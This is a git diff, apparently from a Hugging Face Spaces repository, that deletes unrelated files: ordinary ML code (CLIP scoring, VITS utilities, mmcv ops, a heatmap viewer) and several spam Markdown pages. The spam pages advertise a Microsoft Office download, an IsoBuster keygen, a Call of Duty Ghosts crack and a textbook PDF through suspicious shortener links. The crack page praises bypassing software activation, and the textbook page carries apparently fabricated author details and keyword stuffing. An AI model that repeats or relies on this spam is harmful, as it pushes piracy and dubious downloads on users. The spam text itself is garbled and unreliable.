-
-        for img_id in ids:
-            data_dict = self.dataset[img_id]
-
-            crop_imgs, _ = self.plot_features(data_dict)
-
-            # Plot landmark crop
-            cv2.imshow('crop', crop_imgs['lnd'])
-
-            # Plot landmarks 2D (group)
-            crop_allheats = self._plot_heatmaps2D(data_dict)
-
-            # Plot boundaries shape
-            cv2.imshow('boundary', np.max(data_dict['boundary'], axis=0))
-
-            for lnd_idx in range(self.data_config.database.num_landmarks):
-                # Heatmaps 2D
-                crop_heats = self._plot_heatmaps2D(data_dict, lnd_idx)
-                maps = cv2.hconcat([crop_allheats['heatmaps2D'], crop_heats['heatmaps2D']])
-                cv2.imshow('heatmaps', maps)
-
-                key = cv2.waitKey()
-                if key == ord('q'):
-                    break
-                if key == ord('n'):
-                    break
-
-            if key == ord('q'):
-                break
-
-    def _plot_heatmaps2D(self, data_dict, heatmap_id=None):
-
-        # Variables
-        heatmaps = {}
-        image = data_dict['image']
-
-        if heatmap_id is None:
-            heatmaps2D = data_dict['heatmap2D']
-            heatmaps2D = np.max(heatmaps2D, axis=0)
-        else:
-            heatmaps2D = data_dict['heatmap2D'][heatmap_id]
-
-        # Plot maps
-        heatmaps['heatmaps2D'] = self._merge_imgmap(image, heatmaps2D)
-        return heatmaps
-
-    def _merge_imgmap(self, image, maps):
-        crop_maps = cv2.applyColorMap(np.uint8(255 * maps), cv2.COLORMAP_JET)
-        return cv2.addWeighted(image, 0.7, crop_maps, 0.3, 0)
-
-
-if __name__ == '__main__':
-
-    args = inspect_parser()
-    data_aug = True
-    database = args.database
-    anns_type = args.anns
-    select_img = args.img
-    if args.clean:
-        data_aug = False
-
-    if len(args.shape) != 2:
-        raise ValueError('--shape requires two values: width and height. Ej: --shape 256 256')
-    else:
-        img_shape = tuple(args.shape)
-
-    visualizer = HeatmapInspector(database, anns_type, data_aug, image_shape=img_shape)
-    visualizer.show_dataset(ids_list=select_img)
diff --git a/spaces/svjack/ControlNet-Pose-Chinese/annotator/uniformer/mmcv/ops/ball_query.py b/spaces/svjack/ControlNet-Pose-Chinese/annotator/uniformer/mmcv/ops/ball_query.py
deleted file mode 100644
index d0466847c6e5c1239e359a0397568413ebc1504a..0000000000000000000000000000000000000000
--- a/spaces/svjack/ControlNet-Pose-Chinese/annotator/uniformer/mmcv/ops/ball_query.py
+++ /dev/null
@@ -1,55 +0,0 @@
-# Copyright (c) OpenMMLab. All rights reserved.
-import torch
-from torch.autograd import Function
-
-from ..utils import ext_loader
-
-ext_module = ext_loader.load_ext('_ext', ['ball_query_forward'])
-
-
-class BallQuery(Function):
-    """Find nearby points in spherical space."""
-
-    @staticmethod
-    def forward(ctx, min_radius: float, max_radius: float, sample_num: int,
-                xyz: torch.Tensor, center_xyz: torch.Tensor) -> torch.Tensor:
-        """
-        Args:
-            min_radius (float): minimum radius of the balls.
-            max_radius (float): maximum radius of the balls.
-            sample_num (int): maximum number of features in the balls.
-            xyz (Tensor): (B, N, 3) xyz coordinates of the features.
-            center_xyz (Tensor): (B, npoint, 3) centers of the ball query.
-
-        Returns:
-            Tensor: (B, npoint, nsample) tensor with the indices of
-                the features that form the query balls.
-        """
-        assert center_xyz.is_contiguous()
-        assert xyz.is_contiguous()
-        assert min_radius < max_radius
-
-        B, N, _ = xyz.size()
-        npoint = center_xyz.size(1)
-        idx = xyz.new_zeros(B, npoint, sample_num, dtype=torch.int)
-
-        ext_module.ball_query_forward(
-            center_xyz,
-            xyz,
-            idx,
-            b=B,
-            n=N,
-            m=npoint,
-            min_radius=min_radius,
-            max_radius=max_radius,
-            nsample=sample_num)
-        if torch.__version__ != 'parrots':
-            ctx.mark_non_differentiable(idx)
-        return idx
-
-    @staticmethod
-    def backward(ctx, a=None):
-        return None, None, None, None
-
-
-ball_query = BallQuery.apply
diff --git a/spaces/taesiri/CLIPScore/app.py b/spaces/taesiri/CLIPScore/app.py
deleted file mode 100644
index ff92fcab27f268d3e3b0ccf5dd95bc3dea850b63..0000000000000000000000000000000000000000
--- a/spaces/taesiri/CLIPScore/app.py
+++ /dev/null
@@ -1,41 +0,0 @@
-import gradio as gr
-from transformers import CLIPProcessor, CLIPModel
-
-model = CLIPModel.from_pretrained("openai/clip-vit-base-patch16")
-processor = CLIPProcessor.from_pretrained("openai/clip-vit-base-patch16")
-
-
-def calculate_score(image, text):
-    labels = text.split(";")
-    labels = [l.strip() for l in labels]
-    labels = list(filter(None, labels))
-    if len(labels) == 0:
-        return dict()
-    inputs = processor(text=labels, images=image, return_tensors="pt", padding=True)
-    outputs = model(**inputs)
-    logits_per_image = outputs.logits_per_image.detach().numpy()
-
-    results_dict = {
-        label: score / 100.0 for label, score in zip(labels, logits_per_image[0])
-    }
-    return results_dict
-
-
-if __name__ == "__main__":
-    cat_example = [
-        "cat.jpg",
-        "a cat stuck in a door; a cat in the air; a cat sitting; a cat standing; a cat is entering the matrix; a cat is entering the void",
-    ]
-
-    demo = gr.Interface(
-        fn=calculate_score,
-        inputs=["image", "text"],
-        outputs="label",
-        examples=[cat_example],
-        allow_flagging="never",
-        description="# CLIP Score",
-        article="Calculate the [CLIP](https://openai.com/blog/clip/) score of a given image and text",
-        cache_examples=True,
-    )
-
-    demo.launch()
diff --git a/spaces/taesiri/DeticChatGPT/tools/dump_clip_features.py b/spaces/taesiri/DeticChatGPT/tools/dump_clip_features.py
deleted file mode 100644
index 127f8c2a86c2425611c8ec075006664f5e07df45..0000000000000000000000000000000000000000
--- a/spaces/taesiri/DeticChatGPT/tools/dump_clip_features.py
+++ /dev/null
@@ -1,116 +0,0 @@
-# Copyright (c) Facebook, Inc. and its affiliates.
-import argparse
-import json
-import torch
-import numpy as np
-import itertools
-from nltk.corpus import wordnet
-import sys
-
-if __name__ == '__main__':
-    parser = argparse.ArgumentParser()
-    parser.add_argument('--ann', default='datasets/lvis/lvis_v1_val.json')
-    parser.add_argument('--out_path', default='')
-    parser.add_argument('--prompt', default='a')
-    parser.add_argument('--model', default='clip')
-    parser.add_argument('--clip_model', default="ViT-B/32")
-    parser.add_argument('--fix_space', action='store_true')
-    parser.add_argument('--use_underscore', action='store_true')
-    parser.add_argument('--avg_synonyms', action='store_true')
-    parser.add_argument('--use_wn_name', action='store_true')
-    args = parser.parse_args()
-
-    print('Loading', args.ann)
-    data = json.load(open(args.ann, 'r'))
-    cat_names = [x['name'] for x in \
-        sorted(data['categories'], key=lambda x: x['id'])]
-    if 'synonyms' in data['categories'][0]:
-        if args.use_wn_name:
-            synonyms = [
-                [xx.name() for xx in wordnet.synset(x['synset']).lemmas()] \
-                    if x['synset'] != 'stop_sign.n.01' else ['stop_sign'] \
-                    for x in sorted(data['categories'], key=lambda x: x['id'])]
-        else:
-            synonyms = [x['synonyms'] for x in \
-                sorted(data['categories'], key=lambda x: x['id'])]
-    else:
-        synonyms = []
-    if args.fix_space:
-        cat_names = [x.replace('_', ' ') for x in cat_names]
-    if args.use_underscore:
-        cat_names = [x.strip().replace('/ ', '/').replace(' ', '_') for x in cat_names]
-    print('cat_names', cat_names)
-    device = "cuda" if torch.cuda.is_available() else "cpu"
-    
-    if args.prompt == 'a':
-        sentences = ['a ' + x for x in cat_names]
-        sentences_synonyms = [['a ' + xx for xx in x] for x in synonyms]
-    if args.prompt == 'none':
-        sentences = [x for x in cat_names]
-        sentences_synonyms = [[xx for xx in x] for x in synonyms]
-    elif args.prompt == 'photo':
-        sentences = ['a photo of a {}'.format(x) for x in cat_names]
-        sentences_synonyms = [['a photo of a {}'.format(xx) for xx in x] \
-            for x in synonyms]
-    elif args.prompt == 'scene':
-        sentences = ['a photo of a {} in the scene'.format(x) for x in cat_names]
-        sentences_synonyms = [['a photo of a {} in the scene'.format(xx) for xx in x] \
-            for x in synonyms]
-
-    print('sentences_synonyms', len(sentences_synonyms), \
-        sum(len(x) for x in sentences_synonyms))
-    if args.model == 'clip':
-        import clip
-        print('Loading CLIP')
-        model, preprocess = clip.load(args.clip_model, device=device)
-        if args.avg_synonyms:
-            sentences = list(itertools.chain.from_iterable(sentences_synonyms))
-            print('flattened_sentences', len(sentences))
-        text = clip.tokenize(sentences).to(device)
-        with torch.no_grad():
-            if len(text) > 10000:
-                text_features = torch.cat([
-                    model.encode_text(text[:len(text) // 2]),
-                    model.encode_text(text[len(text) // 2:])],
-                    dim=0)
-            else:
-                text_features = model.encode_text(text)
-        print('text_features.shape', text_features.shape)
-        if args.avg_synonyms:
-            synonyms_per_cat = [len(x) for x in sentences_synonyms]
-            text_features = text_features.split(synonyms_per_cat, dim=0)
-            text_features = [x.mean(dim=0) for x in text_features]
-            text_features = torch.stack(text_features, dim=0)
-            print('after stack', text_features.shape)
-        text_features = text_features.cpu().numpy()
-    elif args.model in ['bert', 'roberta']:
-        from transformers import AutoTokenizer, AutoModel
-        if args.model == 'bert':
-            model_name = 'bert-large-uncased' 
-        if args.model == 'roberta':
-            model_name = 'roberta-large' 
-        tokenizer = AutoTokenizer.from_pretrained(model_name)
-        model = AutoModel.from_pretrained(model_name)
-        model.eval()
-        if args.avg_synonyms:
-            sentences = list(itertools.chain.from_iterable(sentences_synonyms))
-            print('flattened_sentences', len(sentences))
-        inputs = tokenizer(sentences, padding=True, return_tensors="pt")
-        with torch.no_grad():
-            model_outputs = model(**inputs)
-            outputs = model_outputs.pooler_output
-        text_features = outputs.detach().cpu()
-        if args.avg_synonyms:
-            synonyms_per_cat = [len(x) for x in sentences_synonyms]
-            text_features = text_features.split(synonyms_per_cat, dim=0)
-            text_features = [x.mean(dim=0) for x in text_features]
-            text_features = torch.stack(text_features, dim=0)
-            print('after stack', text_features.shape)
-        text_features = text_features.numpy()
-        print('text_features.shape', text_features.shape)
-    else:
-        assert 0, args.model
-    if args.out_path != '':
-        print('saveing to', args.out_path)
-        np.save(open(args.out_path, 'wb'), text_features)
-    import pdb; pdb.set_trace()
diff --git a/spaces/tdeshane/artists-of-data-science-chainlit/notebooks/chainlit.md b/spaces/tdeshane/artists-of-data-science-chainlit/notebooks/chainlit.md
deleted file mode 100644
index 4507ac4676a6387c4b52a0d1111e94753a102b32..0000000000000000000000000000000000000000
--- a/spaces/tdeshane/artists-of-data-science-chainlit/notebooks/chainlit.md
+++ /dev/null
@@ -1,14 +0,0 @@
-# Welcome to Chainlit! 🚀🤖
-
-Hi there, Developer! 👋 We're excited to have you on board. Chainlit is a powerful tool designed to help you prototype, debug and share applications built on top of LLMs.
-
-## Useful Links 🔗
-
-- **Documentation:** Get started with our comprehensive [Chainlit Documentation](https://docs.chainlit.io) 📚
-- **Discord Community:** Join our friendly [Chainlit Discord](https://discord.gg/k73SQ3FyUh) to ask questions, share your projects, and connect with other developers! 💬
-
-We can't wait to see what you create with Chainlit! Happy coding! 💻😊
-
-## Welcome screen
-
-To modify the welcome screen, edit the `chainlit.md` file at the root of your project. If you do not want a welcome screen, just leave this file empty.
diff --git a/spaces/terfces0erbo/CollegeProjectV2/Download Fixed Microsoft Office 97 Thai 16.md b/spaces/terfces0erbo/CollegeProjectV2/Download Fixed Microsoft Office 97 Thai 16.md
deleted file mode 100644
index 6274121329ce26d17940fa179ed6f7dd1703114c..0000000000000000000000000000000000000000
--- a/spaces/terfces0erbo/CollegeProjectV2/Download Fixed Microsoft Office 97 Thai 16.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-<h2>Download Microsoft Office 97 Thai 16</h2><br /><p><b><b>DOWNLOAD</b> &#9734;&#9734;&#9734;&#9734;&#9734; <a href="https://bytlly.com/2uGiWM">https://bytlly.com/2uGiWM</a></b></p><br /><br />
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-<br />
-<br />
-<p></p>
diff --git a/spaces/terfces0erbo/CollegeProjectV2/Download Isobuster Full BEST.md b/spaces/terfces0erbo/CollegeProjectV2/Download Isobuster Full BEST.md
deleted file mode 100644
index 790081ed07cd4887a2113364caeb9009c92fe855..0000000000000000000000000000000000000000
--- a/spaces/terfces0erbo/CollegeProjectV2/Download Isobuster Full BEST.md	
+++ /dev/null
@@ -1,6 +0,0 @@
-
-<p>even if you delete a file, it doesnt disappear completely. the filesystem and the program you use to view the contents of the file still have a reference to it. deleted files are called empty, and some operating systems actually make use of the empty space by storing data there. if youre desperate to find the content of a deleted file, you may try conducting a so-called undelete operation. youll have to rely on your own experience and spare time though and know exactly what data you hope to recover. where is isobuster? of the available tools, isobuster is very easy to use. to gain access to the tool, simply enter the download link below. you can do so directly from the browser or load it using the special download manager.</p>
-<h2>Download isobuster full</h2><br /><p><b><b>Download File</b> &raquo;&raquo;&raquo; <a href="https://bytlly.com/2uGlj5">https://bytlly.com/2uGlj5</a></b></p><br /><br />
-<p>searching for what you need to recover? isobuster pro keygen allows you to <b>extract</b> the lost data from any kind of disk or file system, such as cd, dvd, blu-ray, storage devices, usb drives, memory cards, flash drives, external hard drives, zip disks, and any type of internet storage. youll be able to recover all types of data. this includes music, video, photos, word documents, multimedia, and data from almost any operating system. every file system supported by isobuster pro keygen is under <b>full control</b>. what if i want to? isobuster pro will extract all missing content from damaged cds and other media. youll be able to recover the whole file system that was on the original disk or a part of the file system. the application operates on <b>all available hard drives</b> at the same time. if you have many drives, this is one of the <b>best features</b> of isobuster pro. thanks to <b>automatic recognition</b>, the application will find and recover missing files from cd/dvds and other media with minimal <b>recording and configuration effort</b>. why data recovery? one of the reasons why <b>data loss</b> is so common is because the data is often stored on a storage medium that seems to be lost forever. every day we find ourselves paying more and more money for the use of more and more disks, often thinking that we will never need to recycle them. if you want to avoid potentially big issues in the future, we suggest that you should 899543212b<br />
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diff --git a/spaces/threestoneyang/vits-uma-genshin-honkai/commons.py b/spaces/threestoneyang/vits-uma-genshin-honkai/commons.py
deleted file mode 100644
index 40fcc05364d4815971f5c6f9dbb8dcef8e3ec1e9..0000000000000000000000000000000000000000
--- a/spaces/threestoneyang/vits-uma-genshin-honkai/commons.py
+++ /dev/null
@@ -1,172 +0,0 @@
-import math
-import torch
-from torch.nn import functional as F
-import torch.jit
-
-
-def script_method(fn, _rcb=None):
-  return fn
-
-
-def script(obj, optimize=True, _frames_up=0, _rcb=None):
-  return obj
-
-
-torch.jit.script_method = script_method
-torch.jit.script = script
-
-
-def init_weights(m, mean=0.0, std=0.01):
-  classname = m.__class__.__name__
-  if classname.find("Conv") != -1:
-    m.weight.data.normal_(mean, std)
-
-
-def get_padding(kernel_size, dilation=1):
-  return int((kernel_size*dilation - dilation)/2)
-
-
-def convert_pad_shape(pad_shape):
-  l = pad_shape[::-1]
-  pad_shape = [item for sublist in l for item in sublist]
-  return pad_shape
-
-
-def intersperse(lst, item):
-  result = [item] * (len(lst) * 2 + 1)
-  result[1::2] = lst
-  return result
-
-
-def kl_divergence(m_p, logs_p, m_q, logs_q):
-  """KL(P||Q)"""
-  kl = (logs_q - logs_p) - 0.5
-  kl += 0.5 * (torch.exp(2. * logs_p) + ((m_p - m_q)**2)) * torch.exp(-2. * logs_q)
-  return kl
-
-
-def rand_gumbel(shape):
-  """Sample from the Gumbel distribution, protect from overflows."""
-  uniform_samples = torch.rand(shape) * 0.99998 + 0.00001
-  return -torch.log(-torch.log(uniform_samples))
-
-
-def rand_gumbel_like(x):
-  g = rand_gumbel(x.size()).to(dtype=x.dtype, device=x.device)
-  return g
-
-
-def slice_segments(x, ids_str, segment_size=4):
-  ret = torch.zeros_like(x[:, :, :segment_size])
-  for i in range(x.size(0)):
-    idx_str = ids_str[i]
-    idx_end = idx_str + segment_size
-    ret[i] = x[i, :, idx_str:idx_end]
-  return ret
-
-
-def rand_slice_segments(x, x_lengths=None, segment_size=4):
-  b, d, t = x.size()
-  if x_lengths is None:
-    x_lengths = t
-  ids_str_max = x_lengths - segment_size + 1
-  ids_str = (torch.rand([b]).to(device=x.device) * ids_str_max).to(dtype=torch.long)
-  ret = slice_segments(x, ids_str, segment_size)
-  return ret, ids_str
-
-
-def get_timing_signal_1d(
-    length, channels, min_timescale=1.0, max_timescale=1.0e4):
-  position = torch.arange(length, dtype=torch.float)
-  num_timescales = channels // 2
-  log_timescale_increment = (
-      math.log(float(max_timescale) / float(min_timescale)) /
-      (num_timescales - 1))
-  inv_timescales = min_timescale * torch.exp(
-      torch.arange(num_timescales, dtype=torch.float) * -log_timescale_increment)
-  scaled_time = position.unsqueeze(0) * inv_timescales.unsqueeze(1)
-  signal = torch.cat([torch.sin(scaled_time), torch.cos(scaled_time)], 0)
-  signal = F.pad(signal, [0, 0, 0, channels % 2])
-  signal = signal.view(1, channels, length)
-  return signal
-
-
-def add_timing_signal_1d(x, min_timescale=1.0, max_timescale=1.0e4):
-  b, channels, length = x.size()
-  signal = get_timing_signal_1d(length, channels, min_timescale, max_timescale)
-  return x + signal.to(dtype=x.dtype, device=x.device)
-
-
-def cat_timing_signal_1d(x, min_timescale=1.0, max_timescale=1.0e4, axis=1):
-  b, channels, length = x.size()
-  signal = get_timing_signal_1d(length, channels, min_timescale, max_timescale)
-  return torch.cat([x, signal.to(dtype=x.dtype, device=x.device)], axis)
-
-
-def subsequent_mask(length):
-  mask = torch.tril(torch.ones(length, length)).unsqueeze(0).unsqueeze(0)
-  return mask
-
-
-@torch.jit.script
-def fused_add_tanh_sigmoid_multiply(input_a, input_b, n_channels):
-  n_channels_int = n_channels[0]
-  in_act = input_a + input_b
-  t_act = torch.tanh(in_act[:, :n_channels_int, :])
-  s_act = torch.sigmoid(in_act[:, n_channels_int:, :])
-  acts = t_act * s_act
-  return acts
-
-
-def convert_pad_shape(pad_shape):
-  l = pad_shape[::-1]
-  pad_shape = [item for sublist in l for item in sublist]
-  return pad_shape
-
-
-def shift_1d(x):
-  x = F.pad(x, convert_pad_shape([[0, 0], [0, 0], [1, 0]]))[:, :, :-1]
-  return x
-
-
-def sequence_mask(length, max_length=None):
-  if max_length is None:
-    max_length = length.max()
-  x = torch.arange(max_length, dtype=length.dtype, device=length.device)
-  return x.unsqueeze(0) < length.unsqueeze(1)
-
-
-def generate_path(duration, mask):
-  """
-  duration: [b, 1, t_x]
-  mask: [b, 1, t_y, t_x]
-  """
-  device = duration.device
-  
-  b, _, t_y, t_x = mask.shape
-  cum_duration = torch.cumsum(duration, -1)
-  
-  cum_duration_flat = cum_duration.view(b * t_x)
-  path = sequence_mask(cum_duration_flat, t_y).to(mask.dtype)
-  path = path.view(b, t_x, t_y)
-  path = path - F.pad(path, convert_pad_shape([[0, 0], [1, 0], [0, 0]]))[:, :-1]
-  path = path.unsqueeze(1).transpose(2,3) * mask
-  return path
-
-
-def clip_grad_value_(parameters, clip_value, norm_type=2):
-  if isinstance(parameters, torch.Tensor):
-    parameters = [parameters]
-  parameters = list(filter(lambda p: p.grad is not None, parameters))
-  norm_type = float(norm_type)
-  if clip_value is not None:
-    clip_value = float(clip_value)
-
-  total_norm = 0
-  for p in parameters:
-    param_norm = p.grad.data.norm(norm_type)
-    total_norm += param_norm.item() ** norm_type
-    if clip_value is not None:
-      p.grad.data.clamp_(min=-clip_value, max=clip_value)
-  total_norm = total_norm ** (1. / norm_type)
-  return total_norm
diff --git a/spaces/tialenAdioni/chat-gpt-api/logs/Call Of Duty Ghosts Crack 32 Bit Download The Best Way to Experience the Epic Storyline.md b/spaces/tialenAdioni/chat-gpt-api/logs/Call Of Duty Ghosts Crack 32 Bit Download The Best Way to Experience the Epic Storyline.md
deleted file mode 100644
index 7e2244460e242f30ea7852a486f6fbfee3374ec8..0000000000000000000000000000000000000000
--- a/spaces/tialenAdioni/chat-gpt-api/logs/Call Of Duty Ghosts Crack 32 Bit Download The Best Way to Experience the Epic Storyline.md	
+++ /dev/null
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-<br />
-<h1>Call of Duty Ghosts Crack 32 Bit Download</h1>
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-<p>Call of Duty Ghosts is a 2013 first-person shooter video game developed by Infinity Ward and published by Activision. It is the tenth major installment in the Call of Duty series and the sixth developed by Infinity Ward. It was released for PlayStation 3, Wii U, Windows, and Xbox 360, on November 5, 2013.</p>
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-<h3>A brief introduction to the game and its features</h3>
-<p>The game is set in an alternate timeline where a devastating mass event has changed America's borders and global power balance. As one of the remnants of America's Special Operations forces, you join a mysterious group known as "Ghosts" who fight against a technologically-superior enemy that threatens their survival.</p>
-<p>The game features a single-player campaign mode that follows the story of Logan Walker and his brother David as they join their father Elias in fighting against Gabriel Rorke, a former Ghost leader who has turned rogue and allied with an enemy faction called "The Federation". The campaign mode has various missions that take place in different locations around the world, such as Los Angeles, Antarctica, Las Vegas, Caracas, and outer space.</p>
-<p>The game also features a multiplayer mode that allows up to 18 players to compete against each other in various modes and maps. The multiplayer mode introduces new features such as dynamic maps that change during gameplay, character customization that allows players to create their own soldiers and squads, perks system that gives players special abilities and bonuses, killstreaks system that rewards players for killing enemies consecutively, and extinction mode that pits players against alien creatures in cooperative missions.</p>
-<h3>The system requirements for running the game on PC</h3>
-<p>If you want to play Call of Duty Ghosts on your PC, you need to make sure that your PC meets the minimum or recommended system requirements for running the game smoothly. Here are the system requirements for Call of Duty Ghosts according to its Steam page:</p>
-<table>
-<tr><th>Minimum</th><th>Recommended</th></tr>
-<tr><td>OS: Windows 7 64-Bit / Windows 8 64-Bit / Windows 8.1 64-Bit</td><td>OS: Windows 7 64-Bit / Windows 8 64-Bit / Windows 8.1 64-Bit</td></tr>
-<tr><td>Processor: Intel® Core™ 2 Duo E8200 2.66 GHZ / AMD Phenom™ X3 8750 2.4 GHZ or better</td><td>Processor: Intel® Core™ i5 – 680 @ 3.6GHz</td></tr>
-<tr><td>Memory: 6 GB RAM</td><td>Memory: 8 GB RAM</td></tr>
-<tr><td>Graphics: NVIDIA® GeForce™ GTS 450 / ATI® Radeon™ HD 5870 or better</td><td>Graphics: NVIDIA® GeForce™ GTX 760 @ 4GB</td></tr>
-<tr><td>DirectX: Version 11</td><td>DirectX: Version 11</td></tr>
-<tr><td>Network: Broadband Internet connection</td><td>Network: Broadband Internet connection</td></tr>
-<tr><td>Storage: 40 GB available space</td><td>Storage: 40 GB available space</td></tr>
-<tr><td>Sound Card: DirectX compatible sound card</td><td>Sound Card: DirectX compatible sound card</td></tr>
-</table>
- <h2>Why do you need a crack for Call of Duty Ghosts?</h2>
-<p>A crack is a modified file or program that allows users to bypass the activation process or copy protection mechanism of a software or game. By using a crack, users can access or use a software or game without paying for it or entering a valid license key.</p>
-<h3>The benefits of using a crack to bypass the activation process</h3>
-<p>Some users may choose to use a crack for Call of Duty Ghosts for various reasons, such as:</p>
-<ul>
-<li>Saving money: By using a crack, users can play Call of Duty Ghosts without buying it or spending any money on it.</li>
-<li>Saving time: By using a crack, users can skip the activation process or registration process that may take some time or require internet connection.</li>
-<li>Saving space: By using a crack, users can reduce the size of Call of Duty Ghosts by deleting some files or components that are not needed for playing offline.</li>
-<li>Saving bandwidth: By using a crack, users can avoid downloading updates or patches that may consume their internet data or slow down their connection.</li>
-<li>Saving compatibility: By using a crack, users can run Call of Duty Ghosts on older versions of Windows or</p> 0a6ba089eb<br />
-<br />
-<br />
\ No newline at end of file
diff --git a/spaces/tialenAdioni/chat-gpt-api/logs/Chou S Electrocardiografia En La Practica Clinica. Adulto Y Pedia Trica 6 Ed. - A PDF file that contains the full text of the book by Chou and Santos which is a reference manual for electrocardiography in adult and pediatric clinical practice[1]..md b/spaces/tialenAdioni/chat-gpt-api/logs/Chou S Electrocardiografia En La Practica Clinica. Adulto Y Pedia Trica 6 Ed. - A PDF file that contains the full text of the book by Chou and Santos which is a reference manual for electrocardiography in adult and pediatric clinical practice[1]..md
deleted file mode 100644
index bec7025fbed0d6400b9fef5427f23cebbcf5b0fe..0000000000000000000000000000000000000000
--- a/spaces/tialenAdioni/chat-gpt-api/logs/Chou S Electrocardiografia En La Practica Clinica. Adulto Y Pedia Trica 6 Ed. - A PDF file that contains the full text of the book by Chou and Santos which is a reference manual for electrocardiography in adult and pediatric clinical practice[1]..md	
+++ /dev/null
@@ -1,74 +0,0 @@
-<br />
-<h1>Chou S Electrocardiografia En La Practica Clinica: A Comprehensive Guide to Electrocardiography for Adults and Children</h1>
-<p>Electrocardiography is the process of recording the electrical activity of the heart using electrodes attached to the skin. It is a useful tool for diagnosing and monitoring various heart conditions, such as arrhythmias, heart attacks, pericarditis, and cardiac enlargement. Electrocardiography can also reveal the effects of hypertension, thyroid disease, and malnutrition on the heart. [^4^] [^5^]</p>
-<h2>Chou S Electrocardiografia En La Practica Clinica. Adulto Y Pedia Trica 6 Ed.</h2><br /><p><b><b>Download File</b> &#9999; <a href="https://urlcod.com/2uK9lr">https://urlcod.com/2uK9lr</a></b></p><br /><br />
-<p>Chou S Electrocardiografia En La Practica Clinica is a book that provides a comprehensive and practical overview of electrocardiography for both adult and pediatric patients. It is written by Ching-Chang Chou and Te-Chuan Chou, two renowned experts in the field of electrocardiography and cardiology. The book is based on the latest guidelines from the Spanish Society of Cardiology and covers topics such as:</p>
-<ul>
-<li>The basic principles and techniques of electrocardiography</li>
-<li>The normal electrocardiogram and its variations</li>
-<li>The interpretation of electrocardiographic findings in different clinical scenarios</li>
-<li>The electrocardiographic diagnosis of common and rare cardiac disorders</li>
-<li>The electrocardiographic changes associated with systemic diseases and drugs</li>
-<li>The special applications of electrocardiography, such as exercise testing, ambulatory monitoring, and signal-averaged ECG</li>
-<li>The electrocardiographic features of pediatric patients, including congenital heart diseases, arrhythmias, and cardiomyopathies</li>
-</ul>
-<p>Chou S Electrocardiografia En La Practica Clinica is a valuable resource for medical students, residents, fellows, physicians, nurses, technicians, and other health care professionals who are involved in the care of cardiac patients. It is also a useful reference for researchers and educators who are interested in electrocardiography. The book is written in Spanish and has over 600 pages of text, illustrations, tables, and examples. It is available in both print and digital formats. [^1^] [^2^] [^3^]</p>
-
-<p>In this article, we will review some of the key concepts and topics covered in Chou S Electrocardiografia En La Practica Clinica. We will also provide some examples of electrocardiograms and their interpretation.</p>
-<p>Chou's electrocardiography in clinical practice for adults and pediatrics 6th edition<br />
-Electrocardiografía de Chou en la práctica clínica de adulto y pediátrica 6ª edición<br />
-Chou electrocardiography clinical practice adult pediatric 6 ed<br />
-Chou electrocardiografía práctica clínica adulto pediátrica 6 ed<br />
-Electrocardiography by Chou for adult and pediatric clinical practice 6th ed<br />
-Electrocardiografía por Chou para la práctica clínica de adulto y pediátrica 6ª ed<br />
-Chou's ECG in clinical practice for adults and pediatrics 6th edition<br />
-ECG de Chou en la práctica clínica de adulto y pediátrica 6ª edición<br />
-Chou ECG clinical practice adult pediatric 6 ed<br />
-Chou ECG práctica clínica adulto pediátrica 6 ed<br />
-ECG by Chou for adult and pediatric clinical practice 6th ed<br />
-ECG por Chou para la práctica clínica de adulto y pediátrica 6ª ed<br />
-Chou's electrocardiography in clinical practice for adults and children 6th edition<br />
-Electrocardiografía de Chou en la práctica clínica de adulto y niños 6ª edición<br />
-Chou electrocardiography clinical practice adult child 6 ed<br />
-Chou electrocardiografía práctica clínica adulto niño 6 ed<br />
-Electrocardiography by Chou for adult and child clinical practice 6th ed<br />
-Electrocardiografía por Chou para la práctica clínica de adulto y niño 6ª ed<br />
-Chou's ECG in clinical practice for adults and children 6th edition<br />
-ECG de Chou en la práctica clínica de adulto y niños 6ª edición<br />
-Chou ECG clinical practice adult child 6 ed<br />
-Chou ECG práctica clínica adulto niño 6 ed<br />
-ECG by Chou for adult and child clinical practice 6th ed<br />
-ECG por Chou para la práctica clínica de adulto y niño 6ª ed<br />
-New manual of electrocardiography by Chou for adults and pediatrics from the Spanish Society of Cardiology<br />
-Nuevo manual de electrocardiografía por Chou para adultos y pediatría de la Sociedad Española de Cardiología<br />
-Manual of electrocardiography by Chou for adults and pediatrics from the Spanish Society of Cardiology 6th edition<br />
-Manual de electrocardiografía por Chou para adultos y pediatría de la Sociedad Española de Cardiología 6ª edición<br />
-Manual of electrocardiography by Chou for adults and children from the Spanish Society of Cardiology 6th edition<br />
-Manual de electrocardiografía por Chou para adultos y niños de la Sociedad Española de Cardiología 6ª edición<br />
-New manual of ECG by Chou for adults and pediatrics from the Spanish Society of Cardiology<br />
-Nuevo manual de ECG por Chou para adultos y pediatría de la Sociedad Española de Cardiología<br />
-Manual of ECG by Chou for adults and pediatrics from the Spanish Society of Cardiology 6th edition<br />
-Manual de ECG por Chou para adultos y pediatría de la Sociedad Española de Cardiología 6ª edición<br />
-Manual of ECG by Chou for adults and children from the Spanish Society of Cardiology 6th edition<br />
-Manual de ECG por Chou para adultos y niños de la Sociedad Española de Cardiología 6ª edición<br />
-Electrocardiography in clinical practice by Te-Chuan Chou for adults and pediatrics 6th edition<br />
-Electrocardiografía en la práctica clínica por Te-Chuan Chou para adultos y pediatría 6ª edición<br />
-Electrocardiography in clinical practice by Te-Chuan Chou for adults and children 6th edition<br />
-Electrocardiografía en la práctica clínica por Te-Chuan Chou para adultos y niños 6ª edición<br />
-ECG in clinical practice by Te-Chuan Chou for adults and pediatrics 6th edition<br />
-ECG en la práctica clínica por Te-Chuan Chou para adultos y pediatría 6ª edición<br />
-ECG in clinical practice by Te-Chuan Chou for adults and children 6th edition<br />
-ECG en la práctica clínica por Te-Chuan Chou para adultos y niños 6ª edición<br />
-Te-Chuan Chou's electrocardiography in clinical practice for adults and pediatrics 6th edition <br />
-Electrocardiografía de Te-Chuan Chou en la práctica clínica de adultos y pediatría 6ª edición <br />
-Te-Chuan Chou's electrocardiography in clinical practice for adults and children 6th edition <br />
-Electrocardiografía de Te-Chuan Chou en la práctica clínica de adultos y niños 6ª edición <br />
-Te-Chuan Chou's ECG in clinical practice for adults and pediatrics 6th edition <br />
-ECG de Te-Chuan Chou en la práctica clínica de adultos y pediatría 6ª edición</p>
-<h2>The Basic Principles and Techniques of Electrocardiography</h2>
-<p>Electrocardiography is based on the principle that the electrical activity of the heart can be detected and measured by electrodes attached to the skin. The electrodes are connected to a device called an electrocardiograph, which amplifies and records the electrical signals as a graph of voltage versus time. This graph is called an electrocardiogram or ECG. </p>
